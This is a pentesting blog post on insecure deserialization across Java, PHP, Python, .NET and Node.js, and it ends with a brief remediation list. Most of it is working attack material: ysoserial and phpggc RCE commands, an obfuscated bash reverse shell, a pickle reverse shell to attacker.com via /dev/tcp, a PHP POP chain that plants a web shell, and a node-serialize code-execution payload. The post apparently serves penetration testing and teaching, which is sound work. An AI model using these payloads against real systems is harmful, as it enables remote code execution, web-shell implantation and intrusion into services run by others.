← Back to writing
Web Pentesting

Deserialization Attacks

Aug 15, 2024
4 min read
lawbyte

Insecure deserialization converts attacker-supplied data into objects that trigger dangerous code paths. In Java it leads to RCE via gadget chains. In PHP it enables object injection that rides existing application logic. This post covers all major platforms.

Why Deserialization is Dangerous

When an application deserializes data, it reconstructs an object from bytes. If the reconstructed object’s class has methods that execute code during construction, comparison, or garbage collection, an attacker who controls the serialized data controls what code runs.


Java Deserialization

Detection

Java serialized objects start with the magic bytes AC ED 00 05 (hex) or rO0AB (base64).

Look for these in:

  • HTTP parameters or cookies containing base64 blobs
  • Java RMI endpoints (port 1099)
  • JMX (port 9999)
  • AMF endpoints
  • HTTP request bodies
# Identify in HTTP traffic
echo "rO0AB..." | base64 -d | xxd | head
# Output should start: ac ed 00 05

ysoserial — Gadget Chain Generator

# Download
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# List available gadget chains
java -jar ysoserial-all.jar

# Generate payload (Commons Collections 1)
java -jar ysoserial-all.jar CommonsCollections1 "id" | base64 -w0

# Generate reverse shell payload
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|bash" | base64 -w0

# Test with curl
curl https://target.com/api/object \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @<(java -jar ysoserial-all.jar CommonsCollections1 "id")

Common Gadget Chains

Library Chain Name Condition
Apache Commons Collections 3.1 CommonsCollections1-6 Common, widely found
Apache Commons Collections 4.0 CommonsCollections2,4 CC4 in classpath
Spring Framework Spring1,2 Spring in classpath
Apache Groovy Groovy1 Groovy in classpath
BeanShell BeanShell1 BeanShell in classpath
Hibernate Hibernate1,2 Hibernate in classpath
Clojure Clojure Clojure in classpath

Testing Unknown Classpaths

Use ysoserial URLDNS chain — it only triggers a DNS lookup (no RCE attempt), safe for detection:

java -jar ysoserial-all.jar URLDNS "http://YOUR_COLLAB.burpcollaborator.net" | base64 -w0

If you get a DNS callback, the endpoint deserializes. Then test specific gadget chains.


PHP Object Injection

PHP’s unserialize() reconstructs objects from strings. If user input reaches it, you can inject objects whose magic methods execute code.

PHP serialization format

O:4:"User":2:{s:4:"name";s:5:"Alice";s:8:"isAdmin";b:0;}
  • O:4:"User" — object of class User with name length 4
  • 2: — 2 properties
  • s:4:"name";s:5:"Alice" — string “name” = string “Alice”
  • s:8:"isAdmin";b:0; — string “isAdmin” = bool false

Magic methods exploited

__wakeup()    // called on unserialize
__destruct() // called when object is garbage collected
__toString() // called when object is used as string
__get() // called on property read
__call() // called on undefined method

Example exploit — POP chain

Application has a logging class:

class Logger {
public $logFile = '/tmp/log.txt';
public $initMessage;

public function __destruct() {
file_put_contents($this->logFile, $this->initMessage);
}
}

Craft malicious serialized object:

<?php
class Logger {
public $logFile = '/var/www/html/shell.php';
public $initMessage = '<?php system($_GET["c"]); ?>';
}
$payload = serialize(new Logger());
echo base64_encode($payload);
?>
// output: TzoxMDoiTG9n...

Send as the cookie or parameter that gets unserialize()d.

Tools

# phpggc — PHP gadget chain generator (like ysoserial for PHP)
git clone https://github.com/ambionics/phpggc
php phpggc -l # list gadget chains
php phpggc Laravel/RCE1 system id # Laravel RCE
php phpggc Symfony/RCE4 exec "id" # Symfony RCE
php phpggc -b WordPress/RCE1 system id # WordPress

Python Pickle

Python’s pickle module can execute arbitrary code during deserialization via __reduce__.

Detection

Pickle data usually starts with \x80\x04 (protocol 4) or \x80\x02 (protocol 2) or just \x80 / (.

Creating a pickle RCE payload

import pickle, os, base64

class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

Reverse shell via pickle

import pickle, os, base64

class ReverseShell(object):
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(payload)

Send as a cookie or parameter that the server pickle.loads().


.NET Deserialization

Detection

.NET serialized data often in XML (<root type="System...), JSON with $type, or binary.

Common vulnerable points:

  • ViewState in ASP.NET (base64 + MAC-protected, but exploitable if MAC key leaked)
  • WCF endpoints
  • BinaryFormatter in custom code

ysoserial.net

# Windows tool
ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "calc.exe"
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc.exe"

ViewState exploitation

# If you have the machineKey:
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--decryptionalg="AES" --decryptionkey="<key>" \
--validationalg="SHA1" --validationkey="<key>" \
-c "ping attacker.com"

Node.js — node-serialize

// Vulnerable code
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload — IIFE triggers immediately
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',(e,s,err)=>{console.log(s)});}()"}

Scanning

# gadgetinspector — scans JAR files for gadget chains
java -jar gadget-inspector.jar /path/to/app.jar

# Burp scanner — catches common Java deserialization indicators

# SerialKiller — Java deserialization filter (check if it's in use)
grep -r "SerialKiller\|ValidatingObjectInputStream" /path/to/app/

Remediation

  • Never deserialize untrusted data.
  • For Java: use SerialKiller, ValidatingObjectInputStream, or switch to JSON/Protobuf.
  • For PHP: avoid unserialize() on user input. Use JSON instead.
  • For Python: never pickle.loads() user data. Use JSON.
  • Implement integrity checks (HMAC) on serialized data before deserializing.
  • Keep libraries updated — gadget chains are tied to specific library versions.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.